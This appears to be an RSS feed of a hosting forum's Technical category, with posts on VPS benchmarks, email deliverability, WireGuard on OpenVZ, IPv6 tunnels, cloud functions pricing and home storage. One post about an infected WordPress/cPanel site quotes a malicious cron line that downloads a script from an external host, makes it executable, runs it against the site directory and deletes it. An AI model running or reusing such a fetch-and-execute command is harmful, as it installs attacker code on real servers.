<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
    xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>Technical — LowEndSpirit DEV</title>
        <link>https://dev.lowendspirit.com/index.php?p=/</link>
        <pubDate>Fri, 10 Apr 2026 21:00:09 +0000</pubDate>
        <language>en</language>
            <description>Technical — LowEndSpirit DEV</description>
    <atom:link href="https://dev.lowendspirit.com/index.php?p=/categories/technical/feed.rss" rel="self" type="application/rss+xml"/>
    <item>
        <title>Post some YABS bench here</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/592/post-some-yabs-bench-here</link>
        <pubDate>Fri, 07 Feb 2020 12:25:41 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>cybertech</dc:creator>
        <guid isPermaLink="false">592@/index.php?p=/discussions</guid>
        <description><![CDATA[<p></p><div>

<h1 data-id="welcome-to-ocd-benchmarking-thread"><strong>Welcome to OCD Benchmarking Thread</strong></h1>

<p><em>Only in here, benchmark walks. The rest is talk.</em><br /></p></div>

<hr /><p>When sharing/posting YABS results, please use the proper code tag/formatting (``) just so that the results are displayed neatly.</p>

<p>In addition to the above, it would be very much appreciated if you were to include details such as the Provider, Plan, Location and Price. Other details like date of purchase can be included as well, or just indicate if it's a deal bought on a special occasion, i.e., Black Friday, Cyber Monday, Independence Day etc.</p>

<p>If you're posting results of a custom built machine, or something locally of your own, it would be nice if you could share details of your build and/or hardware - just to serve as an "FYI" for the community members.</p>

<p>Here's an example of the format you can use to share your YABS results:</p>

<div>  <p>ShockHosting SSD-KVM-2GB - Piscataway NJ US - $29.99/year (4th of July Deal)</p>

<pre spellcheck="false" tabindex="0"># ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## #
#              Yet-Another-Bench-Script              #
#                     v2022-06-11                    #
# https://github.com/masonr/yet-another-bench-script #
# ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## #

Mon 04 Jul 2022 04:28:07 PM EDT

Basic System Information:
---------------------------------
Uptime     : 0 days, 0 hours, 6 minutes
Processor  : Intel(R) Xeon(R) Gold 5315Y CPU @ 3.20GHz
CPU cores  : 1 @ 3199.998 MHz
AES-NI     : ✔ Enabled
VM-x/AMD-V : ✔ Enabled
RAM        : 1.9 GiB
Swap       : 975.0 MiB
Disk       : 28.4 GiB
Distro     : Debian GNU/Linux 11 (bullseye)
Kernel     : 5.10.0-15-amd64

fio Disk Speed Tests (Mixed R/W 50/50):
---------------------------------
Block Size | 4k            (IOPS) | 64k           (IOPS)
  ------   | ---            ----  | ----           ----
Read       | 264.91 MB/s  (66.2k) | 3.46 GB/s    (54.1k)
Write      | 265.61 MB/s  (66.4k) | 3.48 GB/s    (54.4k)
Total      | 530.52 MB/s (132.6k) | 6.95 GB/s   (108.6k)
           |                      |
Block Size | 512k          (IOPS) | 1m            (IOPS)
  ------   | ---            ----  | ----           ----
Read       | 9.32 GB/s    (18.2k) | 7.95 GB/s     (7.7k)
Write      | 9.82 GB/s    (19.1k) | 8.48 GB/s     (8.2k)
Total      | 19.15 GB/s   (37.4k) | 16.44 GB/s   (16.0k)

iperf3 Network Speed Tests (IPv4):
---------------------------------
Provider        | Location (Link)           | Send Speed      | Recv Speed
                |                           |                 |
Clouvider       | London, UK (10G)          | 828 Mbits/sec   | 469 Mbits/sec
Online.net      | Paris, FR (10G)           | 882 Mbits/sec   | 262 Mbits/sec
Hybula          | The Netherlands (40G)     | 882 Mbits/sec   | 823 Mbits/sec
Uztelecom       | Tashkent, UZ (10G)        | 577 Mbits/sec   | 307 Mbits/sec
Clouvider       | NYC, NY, US (10G)         | 940 Mbits/sec   | 939 Mbits/sec
Clouvider       | Dallas, TX, US (10G)      | 746 Mbits/sec   | 155 Mbits/sec
Clouvider       | Los Angeles, CA, US (10G) | 796 Mbits/sec   | 619 Mbits/sec

iperf3 Network Speed Tests (IPv6):
---------------------------------
Provider        | Location (Link)           | Send Speed      | Recv Speed
                |                           |                 |
Clouvider       | London, UK (10G)          | 705 Mbits/sec   | 435 Mbits/sec
Online.net      | Paris, FR (10G)           | 823 Mbits/sec   | 431 Mbits/sec
Hybula          | The Netherlands (40G)     | 714 Mbits/sec   | 725 Mbits/sec
Uztelecom       | Tashkent, UZ (10G)        | 676 Mbits/sec   | 410 Mbits/sec
Clouvider       | NYC, NY, US (10G)         | 926 Mbits/sec   | 926 Mbits/sec
Clouvider       | Dallas, TX, US (10G)      | 904 Mbits/sec   | 775 Mbits/sec
Clouvider       | Los Angeles, CA, US (10G) | 885 Mbits/sec   | 632 Mbits/sec

Geekbench 5 Benchmark Test:
---------------------------------
Test            | Value
                |
Single Core     | 1036
Multi Core      | 1005
Full Test       | https://browser.geekbench.com/v5/cpu/15825267
</pre></div>

<p>Thank you and happy YABS-ing! <img src="https://dev.lowendspirit.com/plugins/emojiextender/emoji/twitter/heart.png" title="&lt;3" alt="&lt;3" height="18" /></p>

<p></p><hr />]]>
        </description>
    </item>
    <item>
        <title>Site gone from Bing's SERP in a day!  :)</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/4380/site-gone-from-bings-serp-in-a-day</link>
        <pubDate>Thu, 21 Jul 2022 12:59:09 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>bikegremlin</dc:creator>
        <guid isPermaLink="false">4380@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>This is an interesting problem I've never faced before, not could help myself by googling.</p>

<p>All the websites from bikegremlin.com domain (bike.bikegremlin.com, io.bikegremlin.com etc.) are gone from Bing's SERP starting from June 26th 2022. Zero, zilch.</p>

<p>DuckDuckGo does the same, while Google and Yandex show all the pages normaly in their serches.</p>

<p>Bing's dashboard shows no errors (robots, page test, live URL test etc.), except for the Site Scan. Site scan returns "Error 400-499".</p>

<p>Full report that I'll update if I get any more ideas, or hear from Bing's support:</p>

<p><a rel="nofollow" href="https://io.bikegremlin.com/28530/microsoft-bing-serp-gone-overnight/" title="Microsoft Bing – site gone from SERP overnight!">Microsoft Bing – site gone from SERP overnight!</a></p>

<p>If anyone has any ideas to try, I'm all ears.  <img src="https://dev.lowendspirit.com/plugins/emojiextender/emoji/twitter/smile.png" title=":)" alt=":)" height="18" /></p>
]]>
        </description>
    </item>
    <item>
        <title>Running a private image server</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/4382/running-a-private-image-server</link>
        <pubDate>Sat, 23 Jul 2022 06:13:22 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>rockinmusicgv</dc:creator>
        <guid isPermaLink="false">4382@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>I am working on a project which will deal with "many gigabytes" of images.  Generally, the images will be static with an approximate turnover of about 30% of the images per year.  There will be no user supplied images.  The server will need to crop or stitch images together, but no processing beyond that.</p>

<p>Traffic is very low right now - since it's just me developing the project.</p>

<p>Is this something a low end box can handle for the time being?  I don't want to be a noisy neighbor.</p>
]]>
        </description>
    </item>
    <item>
        <title>Building a home Plex server</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/4170/building-a-home-plex-server</link>
        <pubDate>Sun, 15 May 2022 14:20:02 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>BarryHercules</dc:creator>
        <guid isPermaLink="false">4170@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>I've decided that the time has come to stop paying out of my own pocket to run a Plex server for family, friends and instead I just want to run one for me and the wife inside the home. I know very little about home computer hardware these days as I've exclusively used MacBooks for the last decade, so I'm looking for some suggestions.</p>

<p>I don't expect to need to transcode beyond 1080p (having the option for 4k would be nice, but far from essential), and we're talking 2 simultaneous streams maximum. Storage wise, I have a bunch of big desktop drives knocking about I can use, but I'm not opposed to using a suitably powerful NAS either.</p>

<p>Noise/heat isn't too much of an issue as this will go in my office, but I would prefer something that's not too noisy.</p>

<p>I'm looking to spend about £300-£400, could stretch to £500 if I get some extra bells and whistles.</p>

<p>Does anyone have their own builds they could share or suggestions for suitable hardware that's reasonably easy to purchase?</p>
]]>
        </description>
    </item>
    <item>
        <title>How to run wireguard in OpenVZ?</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/4404/how-to-run-wireguard-in-openvz</link>
        <pubDate>Sat, 30 Jul 2022 07:06:40 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>ataribasementcluster</dc:creator>
        <guid isPermaLink="false">4404@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>I have a bunch of old LES OpenVZ servers from Inception and wanted to run wireguard there (servers, although in wireguard everyone's a peer). However, when I try to run wireguard, I get</p>

<pre spellcheck="false" tabindex="0"># wg-quick up wg0
[#] ip link add wg0 type wireguard
RTNETLINK answers: Operation not supported
Unable to access interface: Protocol not supported
[#] ip link delete dev wg0
Cannot find device "wg0"
</pre>

<p>Is it impossible to run wireguard in these containers or is it a PEBKAC issue? Do you recommend any of the userspace wireguard implementations and, if so, which?</p>
]]>
        </description>
    </item>
    <item>
        <title>Email reply-to address effect on delivery?</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/4395/email-reply-to-address-effect-on-delivery</link>
        <pubDate>Wed, 27 Jul 2022 18:40:18 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>bikegremlin</dc:creator>
        <guid isPermaLink="false">4395@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>Hoping <a href="https://dev.lowendspirit.com/index.php?p=/profile/MichaelCee" rel="nofollow">@MichaelCee</a> has the tried and tested answer - and hoping his answer will help other members as well.</p>

<p>What's it about?</p>

<p>Consider these 4 domains:</p>

<ul><li>example.com</li>
<li>news.example.com</li>
<li>pigeons.com</li>
<li>gmail.com</li>
</ul><p>Say I configure all the domains' SPF DMARC and DKIM properly (gmail.com is already configured by Google). OK?</p>

<p>And say I use <strong>news.example com</strong> for sending emails.<br />
From email is like: info@<strong>news.example.com</strong></p>

<p>If I don't configure/change the reply-to email, it's all good.</p>

<p>But, what about these scenarios:</p>

<p>1)<br />
What happens if I configre a reply-to email to be:<br />
relja@<strong>example.com</strong>  (so, I'm using the "root" domain for the reply-to address)?<br />
Does this increase the chances of my email getting to the spam-box?</p>

<p>2)<br />
The same question for using relja@<strong>pigeons.com</strong> (properly configured, but completely different domain).</p>

<p>3)<br />
Finally, if I set the reply-to to be relja@<strong>gmail.com</strong> - for that I'm sure it would trigger some spam filters (correct me if I'm wrong).</p>

<p>If 1) is OK, it could save me some time configuring stuff.<br />
If 2) is good as well, it could save me hours, if not more.<br />
3) is most probably a bad idea - but I'd appreciate a confirmation.</p>
]]>
        </description>
    </item>
    <item>
        <title>How to host email for custom domains for free (or almost free)</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/4392/how-to-host-email-for-custom-domains-for-free-or-almost-free</link>
        <pubDate>Tue, 26 Jul 2022 14:35:56 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>vitobotta</dc:creator>
        <guid isPermaLink="false">4392@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>Hi! I was looking for a way to cut costs and among other things I replaced a paid email hosting service for my custom domains with free services. I thought I'd share in case someone might be interested.</p>

<p>Here's the post:<br /><a href="https://vitobotta.com/2022/07/26/how-to-host-email-for-custom-domains-for-free-or-almost-free/" rel="nofollow">https://vitobotta.com/2022/07/26/how-to-host-email-for-custom-domains-for-free-or-almost-free/</a></p>
]]>
        </description>
    </item>
    <item>
        <title>Emails - 500K monthly, 1K hourly</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/4369/emails-500k-monthly-1k-hourly</link>
        <pubDate>Mon, 18 Jul 2022 15:58:11 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>bikegremlin</dc:creator>
        <guid isPermaLink="false">4369@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>Hi all,</p>

<p>I'm looking for a way to send mass emails to paying customers (notifications, re-schedules etc.).<br />
So <strong>no</strong> email marketing nonsense.</p>

<p>Volume used right now is 500 emails per hour.<br />
I'd prefer to be able to send up to 1,000 per hour, but 500 is not a deal breaker.</p>

<p>Monthly volume is up to 500,000 emails (usually under half of that).</p>

<p><strong>API option</strong> (to make the application create a list based on criteria and send it to the service, having the service then worry about delivery, during the following hours).</p>

<p>Urgency is not crucial, transactional emails are handled separately.<br />
This is for notifications that should arrive within the first day or two since they are sent (preferably on the same day).</p>

<p>Budget?<br />
As low as possible to allow for a decent quality stable service.<br />
Sendgrid ask for about $90 for 200K per month, with a dedicated IP.<br />
Wouldn't mind paying less, but if it costs more - then it costs more, what can you do?</p>

<p>Sendgrid service is something I'd avoid based on my recent experience.</p>

<p>Can anyone recommend a decent solution?</p>

<p>EDIT:<br />
I forgot to note this:<br />
I'd like for the business employees to be able to send an email to a pre-defined list, and be allowed to edit the from email (keeping the same domain, but different account).<br />
That's for the manually sent mass notifications.</p>

<p>Sure, one could develop an app for that too, but it would be nice if one doesn't have to.  <img src="https://dev.lowendspirit.com/plugins/emojiextender/emoji/twitter/smile.png" title=":)" alt=":)" height="18" /></p>
]]>
        </description>
    </item>
    <item>
        <title>Infected WP and maybe cPanel as well</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/4336/infected-wp-and-maybe-cpanel-as-well</link>
        <pubDate>Thu, 07 Jul 2022 16:26:03 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>bikegremlin</dc:creator>
        <guid isPermaLink="false">4336@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>As usual, no one cares until the excrement hits the air-current amplifier.</p>

<p>All bad:</p>

<ul><li>Unreliable provider - check</li>
<li>Several sites on one cPanel - check</li>
<li>WordPress without updates and any hardening - check</li>
</ul><p>And yes, it's a friend I can't say no to.<br /><img src="https://lowendspirit.com/uploads/editor/fq/eap9sgllhp8k.jpg" alt="" title="" /></p>

<p>Now, my first (and only so far) question is:</p>

<p>Can this cron job be added to cPanel through WordPress, or does it mean the whole cPanel account has been compromised (if that can be answered just from this info)?</p>

<p>wget -q -O xxxd http:// hello. hellodolly666. xyz/xxxd &amp;&amp; chmod 0755 xxxd &amp;&amp; /bin/sh xxxd /home/corleoneaccount/public_html/corleone_site 24 &amp;&amp; rm -f xxxd</p>
]]>
        </description>
    </item>
    <item>
        <title>Share some Monster Benches</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/426/share-some-monster-benches</link>
        <pubDate>Tue, 31 Dec 2019 09:53:14 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>cybertech</dc:creator>
        <guid isPermaLink="false">426@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>Let's start off with the beast:</p>

<pre spellcheck="false" tabindex="0">---------------------------------------------------------------------------   
OS           : CentOS 7.7.1908 (64 Bit)
 Virt/Kernel  : KVM / 5.4.5-1.el7.elrepo.x86_64
 CPU Model    : AMD Ryzen 7 3700X 8-Core Processor
 CPU Cores    : 2 @ 3593.248 MHz x86_64 512 KB Cache
 CPU Flags    : AES-NI Enabled &amp; VM-x/AMD-V Disabled
 Load Average : 0.00, 0.00, 0.00
 Total Space  : 18G (13G ~67% used)
 Total RAM    : 1990 MB (679 MB + 912 MB Buff in use)
 Total SWAP   : 2047 MB (0 MB in use)
 Uptime       : 11 days 7:18
---------------------------------------------------------------------------
 ASN &amp; ISP    : AS24940, Hetzner Online GmbH
 Organization :
 Location     : Falkenstein, Germany / DE
 Region       : Saxony
---------------------------------------------------------------------------

 ## Geekbench v4 CPU Benchmark:

  Single Core : 5170  (EXCELLENT)
   Multi Core : 9023

 ## IO Test

 CPU Speed:
    bzip2     : 136 MB/s
   sha256     :   1.4 GB/s
   md5sum     : 658 MB/s

 RAM Speed:
   Avg. write : 3072.0 MB/s
   Avg. read  : 8908.8 MB/s

 Disk Speed:
   1st run    : 1.7 GB/s
   2nd run    : 2.4 GB/s
   3rd run    : 2.4 GB/s
   -----------------------
   Average    : 2218.7 MB/s

 ## Global Speedtest

 Location                       Upload           Download         Ping
---------------------------------------------------------------------------
 Speedtest.net                  901.30 Mbit/s    878.05 Mbit/s    3.25 ms
 USA, New York (AT&amp;T)           144.94 Mbit/s    125.09 Mbit/s   103.261 ms
 USA, Chicago (Windstream)      187.46 Mbit/s    110.34 Mbit/s   101.268 ms
 USA, Dallas (Frontier)         152.66 Mbit/s    168.53 Mbit/s   124.391 ms
 USA, Miami (Frontier)          168.47 Mbit/s    161.24 Mbit/s   113.602 ms
 USA, Los Angeles (Spectrum)    131.42 Mbit/s    148.38 Mbit/s   151.154 ms
 UK, London (Community Fibre)   580.25 Mbit/s    536.88 Mbit/s    19.524 ms
 France, Lyon (SFR)             510.47 Mbit/s    343.03 Mbit/s    19.664 ms
 Germany, Berlin (DNS:NET)      595.07 Mbit/s    649.75 Mbit/s    18.254 ms
 Spain, Madrid (MasMovil)       470.36 Mbit/s    508.52 Mbit/s    29.368 ms
 Italy, Rome (Unidata)          350.80 Mbit/s    363.33 Mbit/s    47.221 ms
 Israel, Haifa (013Netvision)   284.63 Mbit/s    292.39 Mbit/s    58.202 ms
 India, New Delhi (GIGATEL)     136.84 Mbit/s    285.17 Mbit/s   132.552 ms
 Singapore (FirstMedia)         39.11 Mbit/s     36.78 Mbit/s    170.950 ms
 Japan, Tsukuba (SoftEther)     18.34 Mbit/s     60.18 Mbit/s    250.445 ms
 Australia, Sydney (Yes Optus)  19.22 Mbit/s     16.35 Mbit/s    291.932 ms
 RSA, Randburg (Cool Ideas)     84.76 Mbit/s     219.46 Mbit/s   188.881 ms
 Brazil, Sao Paulo (Criare)     79.18 Mbit/s     206.16 Mbit/s   192.480 ms
---------------------------------------------------------------------------

 Finished in : 9 min 16 sec
</pre>
]]>
        </description>
    </item>
    <item>
        <title>Cloud functions</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/4296/cloud-functions</link>
        <pubDate>Sun, 26 Jun 2022 12:19:51 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>havoc</dc:creator>
        <guid isPermaLink="false">4296@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>Been looking at various options for function like service to host API type stuff &amp; thought I'd share some findings <strong>ramblings</strong>.</p>

<p>Focus here is mostly on low usage in the context of free tiers ala cheapskate. API is consumer facing so can't have second long cold starts.</p>

<p>TLDR: GCP wins for my specific usage case (avoid cold starts, full featured execution env). Honourable mention to Cloudflare workers and AWS Lambda for some intriguing aspects.</p>

<p>Please do forgive the fairly low quality stream of thought write-up.</p>

<p><strong>Google Cloud</strong></p>

<p>Most familiar with this and has an idle billing tier, so focused on this more than rest.</p>

<p>I've been using python, but will change this since I discovered lang choice matters.</p>

<p>Go vs Python, trivial hello world stuff, gen2 128mb sizing. Execution time looks about the same. The memory utilization on the other hand 12mb Go, 70mb Python. Given that sizing of these functions starts at 128mb...that 70mb for a python hello world is definitely notable.</p>

<p>Then there is the cold start issue. I've had significant issues with this in the past, so the new min instance mechanism to keep them warm seems basically compulsory.</p>

<p>Long story short it costs ~1USD to keep a function warm per function. Of which free tier absorbs about 0.9 functions...so basically you get one free and each subsequent warm one it a dollar.</p>

<p>Gen 2 also has better concurrency support, however there is a major gotcha hidden in the documentation:</p>

<blockquote><div>
  <p>For preview, this will only be supported by .NET, Java, Node.js, and Go runtimes, for functions with 1 or more vCPUs.</p>
</div></blockquote>

<p>Note specifically the 1 vcpu...not obvious in LES context, but that's not bottom end - 0.083 is...so 1vcpu is a fairly chunky sizing which basically means ~$8 min a month. No concurrency means two simultaneous request need more than 1 instance...back to cold starts even with 1 min to keep it warm. I suppose you could keep two warm, which given &lt;10m execution time means chances of a cold start are near zero. Even one may be an acceptable risk though. Alternatively one could keep one artificially warm via timer but that's quite janky.</p>

<p>Does provide a strong incentive to pack as much stuff into one omnibus function though, which goes against the conceptual simple connector/glue type thinking that functions originally were.</p>

<p><strong>Digital Ocean</strong></p>

<p>Free allowance tier looks meh, and chatter suggests cold starts are an unsolved problem. Not seeing anything suggesting this is even worth trying</p>

<p><strong>Cloudflare</strong></p>

<p>Technically this solution is vastly superior to the rest. No cold starts, easy integration with KV storage, global distribution.</p>

<p>The major gotcha is the incredibly limited execution environment (basically JS), super short execution time maximums and the pricing model. It doesn't scale up gradually like GCP...once you start hitting limits you're on paid plan ($5).</p>

<p><strong>Oracle</strong></p>

<p>Very odd...they'll give you ~6 free VMs and 24GB mem forever on an unpaid account. Very generous. Cloud function? Nope...nada...nothing without a credit card. There is a free allowance...but you can't get it without a card. Free allowance looks like the same 400k gb/s everyone else is offering too. meh.</p>

<p><strong>Alibaba Cloud</strong></p>

<p>Looks to cover about ~1 function continuous running in free allowance. But the per GB/s pricing outside of that is like 6x GCP. And I don't see mention of a min number of instances so not sure if avoiding cold starts is even possible. Overall doesn't look attractive.</p>

<p><strong>Azure</strong></p>

<p>Very confusing pricing. e.g. for consumption model it mentions it bills by vcpu/s but doesn't list the price. If similar to premium model then its crazy expensive. Nope....</p>

<p><strong>AWS</strong></p>

<p>Looks cheaper compared to rest on a GB/s basis and billing is 1ms not 100ms like the rest. Also require keeping functions warm so ends up in similar territory to GCP...basically 1 free warm function. Unlike GCP there is no idle price tier though...so ends up being substantially more expensive for subsequent ones if you want to keep a function warm all month (~4.5 USD). For usage cases where cold starts are acceptable AWS looks excellently priced though.</p>
]]>
        </description>
    </item>
    <item>
        <title>Public iPerf3-Server speedtest.wtnet.de upgrade to 40Gbit</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/4033/public-iperf3-server-speedtest-wtnet-de-upgrade-to-40gbit</link>
        <pubDate>Mon, 11 Apr 2022 11:46:53 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>uniquoo</dc:creator>
        <guid isPermaLink="false">4033@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>Hey guys,</p>

<p>some of you may know me from LEB as "fLoo". I'm running the public speedtest server "speedtest.wtnet.de". We've successfully upgraded it to 40 Gbit. It is located near Hamburg/Germany. I'd be happy to hear results from you to improve on them.</p>

<p><a rel="nofollow" href="https://speedtest.wtnet.de" title="https://speedtest.wtnet.de">https://speedtest.wtnet.de</a></p>

<p>Thanks for your time!</p>

<p>Florian</p>
]]>
        </description>
    </item>
    <item>
        <title>Your advice: How to store 20 TB of data (Raid Array) at home?</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/3721/your-advice-how-to-store-20-tb-of-data-raid-array-at-home</link>
        <pubDate>Tue, 25 Jan 2022 12:10:21 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>Amitz</dc:creator>
        <guid isPermaLink="false">3721@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>Dear fellow LESbians,</p>

<p>my collection of digital media files grew exponentially during the Covid-19 pandemic. I have a rented server with 4x10 GB spinning disks in RAID-10 (= 20 usable TB in total) and the array is already filled with over 10 TB. I expect to hit the full 20 TB in some months time, but this will then also be the maximum storage, that I will need.</p>

<p>However, the server is not horribly expensive, but also not a bargain with monthly payments around EUR 90,00. I wonder whether it would make sense to have the data at home instead. I have a home internet connection with 100 Mbit upload capacity, so even hosting my data at home for access on the go could be an option.</p>

<p>What would be your choice for the job? A NAS? Something else? I have no idea what the current "state of the art" solution is. It is important to me to at least have the data in a RAID-1 array. No Raid or Raid-0 is not an option. I know that a Raid Array is no replacement for backups, but it would let me sleep better anyhow. A NAS would be my first idea, but I saw that they are not cheap and I wonder whether going on renting the server (with free hardware replacements) isn't the better choice in the end...</p>

<p>Thank you very much in advance for your ideas and suggestions!</p>

<p>Stay negative or at least keep it mild &amp; kind regards<br />
Amitz</p>
]]>
        </description>
    </item>
    <item>
        <title>IPv6 over IPv4 - what am I doing wrong?</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/4178/ipv6-over-ipv4-what-am-i-doing-wrong</link>
        <pubDate>Mon, 16 May 2022 18:07:42 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>brejski</dc:creator>
        <guid isPermaLink="false">4178@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>Hi guys, <br />
I am trying to set up a tunnel via Route48 or HE to make IPv6 working at home. I have a public IPv4 (carrier says it's dynamic, but it did not change in the last 5 months, lol) and MikroTik RB4011iGS+5HacQ2HnD (RouterOS 7.1.1 stable).<br />
Because my carrier provided me a semi-managed by them router [ZTE] (I do not have administrative access to it, I can for example set up firewall or change wifi password), I made NAT on my MikroTik. <br />
It looks like that: <br />
ZTE: 192.168.1.0/24<br />
MikroTik: 192.168.1.2, DMZ 192.168.1.6 (WAN INTERNET), NAT 192.168.88.0/24<br />
All devices except IPTV client device, are connected to MikroTik</p>

<p>What I want to reach is to make IPv6 work in my home network and I tried several ways to make the tunnel working, but both do not work.</p>

<p>First approach: using NAT IP (192.168.88.1)<br /><code spellcheck="false" tabindex="0">[admin@MikroTik] &gt; /interface 6to4 add comment="Route48.org Tunnel Broker (DE)" disabled=no local-address=192.168.88.1 mtu=1280 name=sit1 remote-address=194.50.X.X                                                                                                                        [admin@MikroTik] &gt; /ipv6 route add comment="" disabled=no distance=1 dst-address=::/0 gateway=2a06:a003:XXXX::1 scope=30 target-scope=10                                                                                                                                                       [admin@MikroTik] &gt; /ipv6 address add address=2a06:a003:XXXX::2/48 advertise=no disabled=no eui-64=no interface=sit1</code></p>

<p>Second approach: using carrier router IP (192.168.1.6):<br /><code spellcheck="false" tabindex="0">[admin@MikroTik] &gt; /interface 6to4 add comment="Route48.org Tunnel Broker (DE)" disabled=no local-address=192.168.1.6 mtu=1280 name=sit1 remote-address=194.50.X.X                                                                                                                      [admin@MikroTik] &gt; /ipv6 route add comment="" disabled=no distance=1 dst-address=::/0 gateway=2a06:a003:XXXX::1 scope=30 target-scope=10                                                                                                                                                       [admin@MikroTik] &gt; /ipv6 address add address=2a06:a003:XXXX::2/48 advertise=no disabled=no eui-64=no interface=sit1</code></p>

<p>I also tried to forward all ports to Mikrotik and use my public IPv4, but it didn't work neither...</p>

<p>After any try, I tried to ping Cloudflare IPv6 DNS, but there are timeouts...<br /><code spellcheck="false" tabindex="0">[admin@MikroTik] &gt; ping 2606:4700:4700::1111                                                                                                                                                                                                                                                     SEQ HOST                                     SIZE TTL TIME       STATUS                                                                                                                                                                                                                          0 2606:4700:4700::1111                                         timeout                                                                                                                                                                                                                         1 2606:4700:4700::1111                                         timeout                                                                                                                                                                                                                         2 2606:4700:4700::1111                                         timeout                                                                                                                                                                                                                         3 2001:470:71:74b::                         104  64 95ms158us  address unreachable</code></p>

<p>What am I doing wrong in my config? Tunnel does not work neither with Route48 nor HE.</p>
]]>
        </description>
    </item>
    <item>
        <title>Fetch mails from a mailbox and forward them to another provider</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/4176/fetch-mails-from-a-mailbox-and-forward-them-to-another-provider</link>
        <pubDate>Mon, 16 May 2022 09:35:36 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>Brueggus</dc:creator>
        <guid isPermaLink="false">4176@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>I'm moving my mail-related stuff from GMail/Google Apps to MXroute and I still have few legacy mailboxes with other providers. Currently I'm using the built-in GMail feature to poll these mailboxes periodically and forward any new messages to my GMail inbox.</p>

<p>MXroute doesn't seem to have a similar feature, so I'm looking for a replacement. I'd prefer a self-hosted solution and I'm looking into getmail which seems to do the trick but requires a local MTA and forwards the emails via SMTP.</p>

<p>Do you know about any other, more simple options?</p>
]]>
        </description>
    </item>
    <item>
        <title>ATX 3.0 info?</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/4115/atx-3-0-info</link>
        <pubDate>Wed, 27 Apr 2022 17:43:03 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>bikegremlin</dc:creator>
        <guid isPermaLink="false">4115@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>Found this article and it seems legit - and as expected, bad for consumers:</p>

<p>Part1</p>

<p><a href="https://www.igorslab.de/en/power-supply-insanity-connector-chaos-and-transient-drama-when-pure-waste-of-resources-gets-elevated-to-the-new-standard/" rel="nofollow">https://www.igorslab.de/en/power-supply-insanity-connector-chaos-and-transient-drama-when-pure-waste-of-resources-gets-elevated-to-the-new-standard/</a></p>

<p>Part 2<br /><a href="https://www.igorslab.de/en/power-supply-insanity-connector-chaos-and-transient-drama-when-pure-waste-of-resources-gets-elevated-to-the-new-standard/2/" rel="nofollow">https://www.igorslab.de/en/power-supply-insanity-connector-chaos-and-transient-drama-when-pure-waste-of-resources-gets-elevated-to-the-new-standard/2/</a></p>
]]>
        </description>
    </item>
    <item>
        <title>Improving NGINX Performance with Kernel TLS and SSL_sendfile( )</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/4007/improving-nginx-performance-with-kernel-tls-and-ssl-sendfile</link>
        <pubDate>Mon, 04 Apr 2022 08:49:29 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>havoc</dc:creator>
        <guid isPermaLink="false">4007@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>Somewhat niche, but given the ~25% performance gains I thought I'd post it here.</p>

<p><a href="https://www.nginx.com/blog/improving-nginx-performance-with-kernel-tls/" rel="nofollow">https://www.nginx.com/blog/improving-nginx-performance-with-kernel-tls/</a></p>
]]>
        </description>
    </item>
    <item>
        <title>Why do providers not use XFS for OS template?</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/3889/why-do-providers-not-use-xfs-for-os-template</link>
        <pubDate>Wed, 16 Mar 2022 11:18:12 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>cybertech</dc:creator>
        <guid isPermaLink="false">3889@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>especially centos etc. templates, since its their default.</p>

<p>i recall very few using that, probably anynode before they sold it off.</p>
]]>
        </description>
    </item>
    <item>
        <title>Self-hosting Nextcloud with Dokku and s3 compatible storage</title>
